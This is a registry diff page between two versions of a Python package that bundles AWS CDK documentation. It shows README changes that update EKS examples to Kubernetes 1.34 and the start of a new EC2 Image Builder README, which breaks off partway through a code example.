konokenj.cdk-api-mcp-server 0.52.0__py3-none-any.whl → 0.54.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- cdk_api_mcp_server/__about__.py +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/@aws-cdk/aws-eks-v2-alpha/README.md +45 -45
- cdk_api_mcp_server/resources/aws-cdk/constructs/@aws-cdk/aws-imagebuilder-alpha/README.md +94 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/@aws-cdk/aws-lambda-go-alpha/README.md +102 -4
- cdk_api_mcp_server/resources/aws-cdk/constructs/@aws-cdk/aws-sagemaker-alpha/README.md +32 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/@aws-cdk/mixins-preview/README.md +151 -5
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/README.md/README.md +2 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-apigateway/README.md +25 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-apigateway/integ.lambda-permission-consolidation.ts +55 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-apigatewayv2-integrations/README.md +35 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-apigatewayv2-integrations/integ.lambda-permission-consolidation.ts +45 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-codebuild/README.md +0 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-dynamodb/README.md +26 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-dynamodb/integ.dynamodb.add-to-resource-policy.ts +17 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-ecs/integ.placement-strategies.ts +32 -8
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-eks/README.md +86 -86
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-eks/integ.eks-al2023-nodegroup.ts +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-eks/integ.fargate-cluster.ts +1 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-lambda/integ.runtime.inlinecode.ts +7 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/README.md +65 -4
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-big-response.ts +13 -6
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-cloudfront.ts +20 -18
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-cross-nested-stack-source.ts +7 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-cross-stack-source.ts +6 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-cross-stack-ssm-source.ts +7 -1
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-data.ts +83 -62
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-deployed-bucket.ts +10 -4
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-large-file.ts +20 -12
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-loggroup.ts +7 -2
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-security-groups-efs.ts +77 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-security-groups-empty.ts +69 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-security-groups-multiple.ts +89 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-security-groups-single.ts +77 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-signcontent.ts +11 -7
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-substitution-with-destination-key.ts +15 -8
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-substitution-with-role.ts +29 -14
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-substitution.ts +16 -8
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-vpc-basic.ts +65 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-vpc-config.ts +66 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-vpc-custom-subnets.ts +66 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-vpc-efs.ts +66 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-vpc-security-groups.ts +72 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-vpc-subnet-selection.ts +70 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment.ts +47 -69
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-secretsmanager/integ.secret.dynamic-reference-key.ts +38 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-stepfunctions/integ.sm-jsonpath-with-distributed-map-jsonata.ts +105 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-stepfunctions-tasks/README.md +14 -3
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-stepfunctions-tasks/integ.evaluate-expression-arm64.ts +27 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-stepfunctions-tasks/integ.evaluate-expression-default.ts +25 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-stepfunctions-tasks/integ.evaluate-expression-mixed-arch.ts +35 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-stepfunctions-tasks/integ.evaluate-expression-x86.ts +27 -0
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/cx-api/FEATURE_FLAGS.md +2 -2
- cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/interfaces/README.md +33 -0
- {konokenj_cdk_api_mcp_server-0.52.0.dist-info → konokenj_cdk_api_mcp_server-0.54.0.dist-info}/METADATA +2 -2
- {konokenj_cdk_api_mcp_server-0.52.0.dist-info → konokenj_cdk_api_mcp_server-0.54.0.dist-info}/RECORD +58 -38
- {konokenj_cdk_api_mcp_server-0.52.0.dist-info → konokenj_cdk_api_mcp_server-0.54.0.dist-info}/WHEEL +0 -0
- {konokenj_cdk_api_mcp_server-0.52.0.dist-info → konokenj_cdk_api_mcp_server-0.54.0.dist-info}/entry_points.txt +0 -0
- {konokenj_cdk_api_mcp_server-0.52.0.dist-info → konokenj_cdk_api_mcp_server-0.54.0.dist-info}/licenses/LICENSE.txt +0 -0
cdk_api_mcp_server/__about__.py
CHANGED
|
@@ -33,7 +33,7 @@ Here is the minimal example of defining an AWS EKS cluster
|
|
|
33
33
|
|
|
34
34
|
```ts
|
|
35
35
|
const cluster = new eks.Cluster(this, 'hello-eks', {
|
|
36
|
-
version: eks.KubernetesVersion.
|
|
36
|
+
version: eks.KubernetesVersion.V1_34,
|
|
37
37
|
});
|
|
38
38
|
```
|
|
39
39
|
|
|
@@ -68,7 +68,7 @@ In a nutshell:
|
|
|
68
68
|
|
|
69
69
|
```ts
|
|
70
70
|
const cluster = new eks.Cluster(this, 'AutoModeCluster', {
|
|
71
|
-
version: eks.KubernetesVersion.
|
|
71
|
+
version: eks.KubernetesVersion.V1_34,
|
|
72
72
|
// Auto Mode is enabled by default
|
|
73
73
|
});
|
|
74
74
|
```
|
|
@@ -81,7 +81,7 @@ In a nutshell:
|
|
|
81
81
|
|
|
82
82
|
```ts
|
|
83
83
|
const cluster = new eks.Cluster(this, 'ManagedNodeCluster', {
|
|
84
|
-
version: eks.KubernetesVersion.
|
|
84
|
+
version: eks.KubernetesVersion.V1_34,
|
|
85
85
|
defaultCapacityType: eks.DefaultCapacityType.NODEGROUP,
|
|
86
86
|
});
|
|
87
87
|
|
|
@@ -98,7 +98,7 @@ In a nutshell:
|
|
|
98
98
|
|
|
99
99
|
```ts
|
|
100
100
|
const cluster = new eks.FargateCluster(this, 'FargateCluster', {
|
|
101
|
-
version: eks.KubernetesVersion.
|
|
101
|
+
version: eks.KubernetesVersion.V1_34,
|
|
102
102
|
});
|
|
103
103
|
```
|
|
104
104
|
|
|
@@ -108,7 +108,7 @@ In a nutshell:
|
|
|
108
108
|
|
|
109
109
|
```ts
|
|
110
110
|
const cluster = new eks.Cluster(this, 'SelfManagedCluster', {
|
|
111
|
-
version: eks.KubernetesVersion.
|
|
111
|
+
version: eks.KubernetesVersion.V1_34,
|
|
112
112
|
});
|
|
113
113
|
|
|
114
114
|
// Add self-managed Auto Scaling Group
|
|
@@ -128,7 +128,7 @@ Creating a new cluster is done using the `Cluster` constructs. The only required
|
|
|
128
128
|
|
|
129
129
|
```ts
|
|
130
130
|
new eks.Cluster(this, 'HelloEKS', {
|
|
131
|
-
version: eks.KubernetesVersion.
|
|
131
|
+
version: eks.KubernetesVersion.V1_34,
|
|
132
132
|
});
|
|
133
133
|
```
|
|
134
134
|
|
|
@@ -136,7 +136,7 @@ You can also use `FargateCluster` to provision a cluster that uses only fargate
|
|
|
136
136
|
|
|
137
137
|
```ts
|
|
138
138
|
new eks.FargateCluster(this, 'HelloEKS', {
|
|
139
|
-
version: eks.KubernetesVersion.
|
|
139
|
+
version: eks.KubernetesVersion.V1_34,
|
|
140
140
|
});
|
|
141
141
|
```
|
|
142
142
|
|
|
@@ -145,12 +145,12 @@ be created by default. It will only be deployed when `kubectlProviderOptions`
|
|
|
145
145
|
property is used.**
|
|
146
146
|
|
|
147
147
|
```ts
|
|
148
|
-
import {
|
|
148
|
+
import { KubectlV34Layer } from '@aws-cdk/lambda-layer-kubectl-v34';
|
|
149
149
|
|
|
150
150
|
new eks.Cluster(this, 'hello-eks', {
|
|
151
|
-
version: eks.KubernetesVersion.
|
|
151
|
+
version: eks.KubernetesVersion.V1_34,
|
|
152
152
|
kubectlProviderOptions: {
|
|
153
|
-
kubectlLayer: new
|
|
153
|
+
kubectlLayer: new KubectlV34Layer(this, 'kubectl'),
|
|
154
154
|
}
|
|
155
155
|
});
|
|
156
156
|
```
|
|
@@ -168,7 +168,7 @@ Auto Mode is enabled by default when creating a new cluster without specifying a
|
|
|
168
168
|
```ts
|
|
169
169
|
// Create EKS cluster with Auto Mode implicitly enabled
|
|
170
170
|
const cluster = new eks.Cluster(this, 'EksAutoCluster', {
|
|
171
|
-
version: eks.KubernetesVersion.
|
|
171
|
+
version: eks.KubernetesVersion.V1_34,
|
|
172
172
|
});
|
|
173
173
|
```
|
|
174
174
|
|
|
@@ -177,7 +177,7 @@ You can also explicitly enable Auto Mode using `defaultCapacityType`:
|
|
|
177
177
|
```ts
|
|
178
178
|
// Create EKS cluster with Auto Mode explicitly enabled
|
|
179
179
|
const cluster = new eks.Cluster(this, 'EksAutoCluster', {
|
|
180
|
-
version: eks.KubernetesVersion.
|
|
180
|
+
version: eks.KubernetesVersion.V1_34,
|
|
181
181
|
defaultCapacityType: eks.DefaultCapacityType.AUTOMODE,
|
|
182
182
|
});
|
|
183
183
|
```
|
|
@@ -193,7 +193,7 @@ These node pools are managed automatically by EKS. You can configure which node
|
|
|
193
193
|
|
|
194
194
|
```ts
|
|
195
195
|
const cluster = new eks.Cluster(this, 'EksAutoCluster', {
|
|
196
|
-
version: eks.KubernetesVersion.
|
|
196
|
+
version: eks.KubernetesVersion.V1_34,
|
|
197
197
|
defaultCapacityType: eks.DefaultCapacityType.AUTOMODE,
|
|
198
198
|
compute: {
|
|
199
199
|
nodePools: ['system', 'general-purpose'],
|
|
@@ -209,7 +209,7 @@ You can disable the default node pools entirely by setting an empty array for `n
|
|
|
209
209
|
|
|
210
210
|
```ts
|
|
211
211
|
const cluster = new eks.Cluster(this, 'EksAutoCluster', {
|
|
212
|
-
version: eks.KubernetesVersion.
|
|
212
|
+
version: eks.KubernetesVersion.V1_34,
|
|
213
213
|
defaultCapacityType: eks.DefaultCapacityType.AUTOMODE,
|
|
214
214
|
compute: {
|
|
215
215
|
nodePools: [], // Disable default node pools
|
|
@@ -226,7 +226,7 @@ If you prefer to manage your own node groups instead of using Auto Mode, you can
|
|
|
226
226
|
```ts
|
|
227
227
|
// Create EKS cluster with traditional managed node group
|
|
228
228
|
const cluster = new eks.Cluster(this, 'EksCluster', {
|
|
229
|
-
version: eks.KubernetesVersion.
|
|
229
|
+
version: eks.KubernetesVersion.V1_34,
|
|
230
230
|
defaultCapacityType: eks.DefaultCapacityType.NODEGROUP,
|
|
231
231
|
defaultCapacity: 3, // Number of instances
|
|
232
232
|
defaultCapacityInstance: ec2.InstanceType.of(ec2.InstanceClass.T3, ec2.InstanceSize.LARGE),
|
|
@@ -237,7 +237,7 @@ You can also create a cluster with no initial capacity and add node groups later
|
|
|
237
237
|
|
|
238
238
|
```ts
|
|
239
239
|
const cluster = new eks.Cluster(this, 'EksCluster', {
|
|
240
|
-
version: eks.KubernetesVersion.
|
|
240
|
+
version: eks.KubernetesVersion.V1_34,
|
|
241
241
|
defaultCapacityType: eks.DefaultCapacityType.NODEGROUP,
|
|
242
242
|
defaultCapacity: 0,
|
|
243
243
|
});
|
|
@@ -258,7 +258,7 @@ You can combine Auto Mode with traditional node groups for specific workload req
|
|
|
258
258
|
|
|
259
259
|
```ts
|
|
260
260
|
const cluster = new eks.Cluster(this, 'Cluster', {
|
|
261
|
-
version: eks.KubernetesVersion.
|
|
261
|
+
version: eks.KubernetesVersion.V1_34,
|
|
262
262
|
defaultCapacityType: eks.DefaultCapacityType.AUTOMODE,
|
|
263
263
|
compute: {
|
|
264
264
|
nodePools: ['system', 'general-purpose'],
|
|
@@ -298,7 +298,7 @@ By default, when using `DefaultCapacityType.NODEGROUP`, this library will alloca
|
|
|
298
298
|
|
|
299
299
|
```ts
|
|
300
300
|
new eks.Cluster(this, 'HelloEKS', {
|
|
301
|
-
version: eks.KubernetesVersion.
|
|
301
|
+
version: eks.KubernetesVersion.V1_34,
|
|
302
302
|
defaultCapacityType: eks.DefaultCapacityType.NODEGROUP,
|
|
303
303
|
});
|
|
304
304
|
```
|
|
@@ -307,7 +307,7 @@ At cluster instantiation time, you can customize the number of instances and the
|
|
|
307
307
|
|
|
308
308
|
```ts
|
|
309
309
|
new eks.Cluster(this, 'HelloEKS', {
|
|
310
|
-
version: eks.KubernetesVersion.
|
|
310
|
+
version: eks.KubernetesVersion.V1_34,
|
|
311
311
|
defaultCapacityType: eks.DefaultCapacityType.NODEGROUP,
|
|
312
312
|
defaultCapacity: 5,
|
|
313
313
|
defaultCapacityInstance: ec2.InstanceType.of(ec2.InstanceClass.M5, ec2.InstanceSize.SMALL),
|
|
@@ -320,7 +320,7 @@ Additional customizations are available post instantiation. To apply them, set t
|
|
|
320
320
|
|
|
321
321
|
```ts
|
|
322
322
|
const cluster = new eks.Cluster(this, 'HelloEKS', {
|
|
323
|
-
version: eks.KubernetesVersion.
|
|
323
|
+
version: eks.KubernetesVersion.V1_34,
|
|
324
324
|
defaultCapacityType: eks.DefaultCapacityType.NODEGROUP,
|
|
325
325
|
defaultCapacity: 0,
|
|
326
326
|
});
|
|
@@ -371,7 +371,7 @@ The following code defines an Amazon EKS cluster with a default Fargate Profile
|
|
|
371
371
|
|
|
372
372
|
```ts
|
|
373
373
|
const cluster = new eks.FargateCluster(this, 'MyCluster', {
|
|
374
|
-
version: eks.KubernetesVersion.
|
|
374
|
+
version: eks.KubernetesVersion.V1_34,
|
|
375
375
|
});
|
|
376
376
|
```
|
|
377
377
|
|
|
@@ -390,7 +390,7 @@ You can add self-managed capacity to any cluster using the `addAutoScalingGroupC
|
|
|
390
390
|
|
|
391
391
|
```ts
|
|
392
392
|
const cluster = new eks.Cluster(this, 'Cluster', {
|
|
393
|
-
version: eks.KubernetesVersion.
|
|
393
|
+
version: eks.KubernetesVersion.V1_34,
|
|
394
394
|
});
|
|
395
395
|
|
|
396
396
|
cluster.addAutoScalingGroupCapacity('self-managed-nodes', {
|
|
@@ -422,7 +422,7 @@ You can configure the [cluster endpoint access](https://docs.aws.amazon.com/eks/
|
|
|
422
422
|
|
|
423
423
|
```ts
|
|
424
424
|
const cluster = new eks.Cluster(this, 'hello-eks', {
|
|
425
|
-
version: eks.KubernetesVersion.
|
|
425
|
+
version: eks.KubernetesVersion.V1_34,
|
|
426
426
|
endpointAccess: eks.EndpointAccess.PRIVATE, // No access outside of your VPC.
|
|
427
427
|
});
|
|
428
428
|
```
|
|
@@ -444,7 +444,7 @@ To deploy the controller on your EKS cluster, configure the `albController` prop
|
|
|
444
444
|
|
|
445
445
|
```ts
|
|
446
446
|
new eks.Cluster(this, 'HelloEKS', {
|
|
447
|
-
version: eks.KubernetesVersion.
|
|
447
|
+
version: eks.KubernetesVersion.V1_34,
|
|
448
448
|
albController: {
|
|
449
449
|
version: eks.AlbControllerVersion.V2_8_2,
|
|
450
450
|
},
|
|
@@ -485,7 +485,7 @@ You can specify the VPC of the cluster using the `vpc` and `vpcSubnets` properti
|
|
|
485
485
|
declare const vpc: ec2.Vpc;
|
|
486
486
|
|
|
487
487
|
new eks.Cluster(this, 'HelloEKS', {
|
|
488
|
-
version: eks.KubernetesVersion.
|
|
488
|
+
version: eks.KubernetesVersion.V1_34,
|
|
489
489
|
vpc,
|
|
490
490
|
vpcSubnets: [{ subnetType: ec2.SubnetType.PRIVATE_WITH_EGRESS }],
|
|
491
491
|
});
|
|
@@ -528,12 +528,12 @@ To create a `Kubectl Handler`, use `kubectlProviderOptions` when creating the cl
|
|
|
528
528
|
`kubectlLayer` is the only required property in `kubectlProviderOptions`.
|
|
529
529
|
|
|
530
530
|
```ts
|
|
531
|
-
import {
|
|
531
|
+
import { KubectlV34Layer } from '@aws-cdk/lambda-layer-kubectl-v34';
|
|
532
532
|
|
|
533
533
|
new eks.Cluster(this, 'hello-eks', {
|
|
534
|
-
version: eks.KubernetesVersion.
|
|
534
|
+
version: eks.KubernetesVersion.V1_34,
|
|
535
535
|
kubectlProviderOptions: {
|
|
536
|
-
kubectlLayer: new
|
|
536
|
+
kubectlLayer: new KubectlV34Layer(this, 'kubectl'),
|
|
537
537
|
}
|
|
538
538
|
});
|
|
539
539
|
```
|
|
@@ -562,12 +562,12 @@ const cluster = eks.Cluster.fromClusterAttributes(this, 'Cluster', {
|
|
|
562
562
|
You can configure the environment of this function by specifying it at cluster instantiation. For example, this can be useful in order to configure an http proxy:
|
|
563
563
|
|
|
564
564
|
```ts
|
|
565
|
-
import {
|
|
565
|
+
import { KubectlV34Layer } from '@aws-cdk/lambda-layer-kubectl-v34';
|
|
566
566
|
|
|
567
567
|
const cluster = new eks.Cluster(this, 'hello-eks', {
|
|
568
|
-
version: eks.KubernetesVersion.
|
|
568
|
+
version: eks.KubernetesVersion.V1_34,
|
|
569
569
|
kubectlProviderOptions: {
|
|
570
|
-
kubectlLayer: new
|
|
570
|
+
kubectlLayer: new KubectlV34Layer(this, 'kubectl'),
|
|
571
571
|
environment: {
|
|
572
572
|
'http_proxy': 'http://proxy.myproxy.com',
|
|
573
573
|
},
|
|
@@ -588,12 +588,12 @@ Depending on which version of kubernetes you're targeting, you will need to use
|
|
|
588
588
|
the `@aws-cdk/lambda-layer-kubectl-vXY` packages.
|
|
589
589
|
|
|
590
590
|
```ts
|
|
591
|
-
import {
|
|
591
|
+
import { KubectlV34Layer } from '@aws-cdk/lambda-layer-kubectl-v34';
|
|
592
592
|
|
|
593
593
|
const cluster = new eks.Cluster(this, 'hello-eks', {
|
|
594
|
-
version: eks.KubernetesVersion.
|
|
594
|
+
version: eks.KubernetesVersion.V1_34,
|
|
595
595
|
kubectlProviderOptions: {
|
|
596
|
-
kubectlLayer: new
|
|
596
|
+
kubectlLayer: new KubectlV34Layer(this, 'kubectl'),
|
|
597
597
|
},
|
|
598
598
|
});
|
|
599
599
|
```
|
|
@@ -603,14 +603,14 @@ const cluster = new eks.Cluster(this, 'hello-eks', {
|
|
|
603
603
|
By default, the kubectl provider is configured with 1024MiB of memory. You can use the `memory` option to specify the memory size for the AWS Lambda function:
|
|
604
604
|
|
|
605
605
|
```ts
|
|
606
|
-
import {
|
|
606
|
+
import { KubectlV34Layer } from '@aws-cdk/lambda-layer-kubectl-v34';
|
|
607
607
|
|
|
608
608
|
new eks.Cluster(this, 'MyCluster', {
|
|
609
609
|
kubectlProviderOptions: {
|
|
610
|
-
kubectlLayer: new
|
|
610
|
+
kubectlLayer: new KubectlV34Layer(this, 'kubectl'),
|
|
611
611
|
memory: Size.gibibytes(4),
|
|
612
612
|
},
|
|
613
|
-
version: eks.KubernetesVersion.
|
|
613
|
+
version: eks.KubernetesVersion.V1_34,
|
|
614
614
|
});
|
|
615
615
|
```
|
|
616
616
|
|
|
@@ -641,7 +641,7 @@ When you create a cluster, you can specify a `mastersRole`. The `Cluster` constr
|
|
|
641
641
|
```ts
|
|
642
642
|
declare const role: iam.Role;
|
|
643
643
|
new eks.Cluster(this, 'HelloEKS', {
|
|
644
|
-
version: eks.KubernetesVersion.
|
|
644
|
+
version: eks.KubernetesVersion.V1_34,
|
|
645
645
|
mastersRole: role,
|
|
646
646
|
});
|
|
647
647
|
```
|
|
@@ -662,7 +662,7 @@ You can use the `secretsEncryptionKey` to configure which key the cluster will u
|
|
|
662
662
|
const secretsKey = new kms.Key(this, 'SecretsKey');
|
|
663
663
|
const cluster = new eks.Cluster(this, 'MyCluster', {
|
|
664
664
|
secretsEncryptionKey: secretsKey,
|
|
665
|
-
version: eks.KubernetesVersion.
|
|
665
|
+
version: eks.KubernetesVersion.V1_34,
|
|
666
666
|
});
|
|
667
667
|
```
|
|
668
668
|
|
|
@@ -672,7 +672,7 @@ You can also use a similar configuration for running a cluster built using the F
|
|
|
672
672
|
const secretsKey = new kms.Key(this, 'SecretsKey');
|
|
673
673
|
const cluster = new eks.FargateCluster(this, 'MyFargateCluster', {
|
|
674
674
|
secretsEncryptionKey: secretsKey,
|
|
675
|
-
version: eks.KubernetesVersion.
|
|
675
|
+
version: eks.KubernetesVersion.V1_34,
|
|
676
676
|
});
|
|
677
677
|
```
|
|
678
678
|
|
|
@@ -713,7 +713,7 @@ eks.AccessPolicy.fromAccessPolicyName('AmazonEKSAdminPolicy', {
|
|
|
713
713
|
Use `grantAccess()` to grant the AccessPolicy to an IAM principal:
|
|
714
714
|
|
|
715
715
|
```ts
|
|
716
|
-
import {
|
|
716
|
+
import { KubectlV34Layer } from '@aws-cdk/lambda-layer-kubectl-v34';
|
|
717
717
|
declare const vpc: ec2.Vpc;
|
|
718
718
|
|
|
719
719
|
const clusterAdminRole = new iam.Role(this, 'ClusterAdminRole', {
|
|
@@ -727,9 +727,9 @@ const eksAdminRole = new iam.Role(this, 'EKSAdminRole', {
|
|
|
727
727
|
const cluster = new eks.Cluster(this, 'Cluster', {
|
|
728
728
|
vpc,
|
|
729
729
|
mastersRole: clusterAdminRole,
|
|
730
|
-
version: eks.KubernetesVersion.
|
|
730
|
+
version: eks.KubernetesVersion.V1_34,
|
|
731
731
|
kubectlProviderOptions: {
|
|
732
|
-
kubectlLayer: new
|
|
732
|
+
kubectlLayer: new KubectlV34Layer(this, 'kubectl'),
|
|
733
733
|
memory: Size.gibibytes(4),
|
|
734
734
|
},
|
|
735
735
|
});
|
|
@@ -914,7 +914,7 @@ when a cluster is defined:
|
|
|
914
914
|
|
|
915
915
|
```ts
|
|
916
916
|
new eks.Cluster(this, 'MyCluster', {
|
|
917
|
-
version: eks.KubernetesVersion.
|
|
917
|
+
version: eks.KubernetesVersion.V1_34,
|
|
918
918
|
prune: false,
|
|
919
919
|
});
|
|
920
920
|
```
|
|
@@ -1230,7 +1230,7 @@ property. For example:
|
|
|
1230
1230
|
```ts
|
|
1231
1231
|
const cluster = new eks.Cluster(this, 'Cluster', {
|
|
1232
1232
|
// ...
|
|
1233
|
-
version: eks.KubernetesVersion.
|
|
1233
|
+
version: eks.KubernetesVersion.V1_34,
|
|
1234
1234
|
clusterLogging: [
|
|
1235
1235
|
eks.ClusterLoggingTypes.API,
|
|
1236
1236
|
eks.ClusterLoggingTypes.AUTHENTICATOR,
|
|
@@ -0,0 +1,94 @@
|
|
|
1
|
+
# EC2 Image Builder Construct Library
|
|
2
|
+
|
|
3
|
+
<!--BEGIN STABILITY BANNER-->
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+

|
|
8
|
+
|
|
9
|
+
> The APIs of higher level constructs in this module are experimental and under active development.
|
|
10
|
+
> They are subject to non-backward compatible changes or removal in any future version. These are
|
|
11
|
+
> not subject to the [Semantic Versioning](https://semver.org/) model and breaking changes will be
|
|
12
|
+
> announced in the release notes. This means that while you may use them, you may need to update
|
|
13
|
+
> your source code when upgrading to a newer version of this package.
|
|
14
|
+
|
|
15
|
+
---
|
|
16
|
+
|
|
17
|
+
<!--END STABILITY BANNER-->
|
|
18
|
+
|
|
19
|
+
This module is part of the [AWS Cloud Development Kit](https://github.com/aws/aws-cdk) project.
|
|
20
|
+
|
|
21
|
+
## README
|
|
22
|
+
|
|
23
|
+
[Amazon EC2 Image Builder](https://docs.aws.amazon.com/imagebuilder/latest/userguide/what-is-image-builder.html) is a
|
|
24
|
+
fully managed AWS service that helps you automate the creation, management, and deployment of customized, secure, and
|
|
25
|
+
up-to-date server images. You can use Image Builder to create Amazon Machine Images (AMIs) and container images for use
|
|
26
|
+
across AWS Regions.
|
|
27
|
+
|
|
28
|
+
This module is part of the [AWS Cloud Development Kit](https://github.com/aws/aws-cdk) project. It allows you to define
|
|
29
|
+
Image Builder pipelines, images, recipes, components, workflows, and lifecycle policies.
|
|
30
|
+
A component defines the sequence of steps required to customize an instance during image creation (build component) or
|
|
31
|
+
test an instance launched from the created image (test component). Components are created from declarative YAML or JSON
|
|
32
|
+
documents that describe runtime configuration for building, validating, or testing instances. Components are included
|
|
33
|
+
when added to the image recipe or container recipe for an image build.
|
|
34
|
+
|
|
35
|
+
EC2 Image Builder supports AWS-managed components for common tasks, AWS Marketplace components, and custom components
|
|
36
|
+
that you create. Components run during specific workflow phases: build and validate phases during the build stage, and
|
|
37
|
+
test phase during the test stage.
|
|
38
|
+
|
|
39
|
+
### Infrastructure Configuration
|
|
40
|
+
|
|
41
|
+
Infrastructure configuration defines the compute resources and environment settings used during the image building
|
|
42
|
+
process. This includes instance types, IAM instance profile, VPC settings, subnets, security groups, SNS topics for
|
|
43
|
+
notifications, logging configuration, and troubleshooting settings like whether to terminate instances on failure or
|
|
44
|
+
keep them running for debugging. These settings are applied to builds when included in an image or an image pipeline.
|
|
45
|
+
|
|
46
|
+
```ts
|
|
47
|
+
const infrastructureConfiguration = new imagebuilder.InfrastructureConfiguration(this, 'InfrastructureConfiguration', {
|
|
48
|
+
infrastructureConfigurationName: 'test-infrastructure-configuration',
|
|
49
|
+
description: 'An Infrastructure Configuration',
|
|
50
|
+
// Optional - instance types to use for build/test
|
|
51
|
+
instanceTypes: [
|
|
52
|
+
ec2.InstanceType.of(ec2.InstanceClass.STANDARD7_INTEL, ec2.InstanceSize.LARGE),
|
|
53
|
+
ec2.InstanceType.of(ec2.InstanceClass.BURSTABLE3, ec2.InstanceSize.LARGE)
|
|
54
|
+
],
|
|
55
|
+
// Optional - create an instance profile with necessary permissions
|
|
56
|
+
instanceProfile: new iam.InstanceProfile(this, 'InstanceProfile', {
|
|
57
|
+
instanceProfileName: 'test-instance-profile',
|
|
58
|
+
role: new iam.Role(this, 'InstanceProfileRole', {
|
|
59
|
+
assumedBy: iam.ServicePrincipal.fromStaticServicePrincipleName('ec2.amazonaws.com'),
|
|
60
|
+
managedPolicies: [
|
|
61
|
+
iam.ManagedPolicy.fromAwsManagedPolicyName('AmazonSSMManagedInstanceCore'),
|
|
62
|
+
iam.ManagedPolicy.fromAwsManagedPolicyName('EC2InstanceProfileForImageBuilder')
|
|
63
|
+
]
|
|
64
|
+
})
|
|
65
|
+
}),
|
|
66
|
+
// Use VPC network configuration
|
|
67
|
+
vpc,
|
|
68
|
+
subnetSelection: { subnetType: ec2.SubnetType.PUBLIC },
|
|
69
|
+
securityGroups: [ec2.SecurityGroup.fromSecurityGroupId(this, 'SecurityGroup', vpc.vpcDefaultSecurityGroup)],
|
|
70
|
+
keyPair: ec2.KeyPair.fromKeyPairName(this, 'KeyPair', 'imagebuilder-instance-key-pair'),
|
|
71
|
+
terminateInstanceOnFailure: true,
|
|
72
|
+
// Optional - IMDSv2 settings
|
|
73
|
+
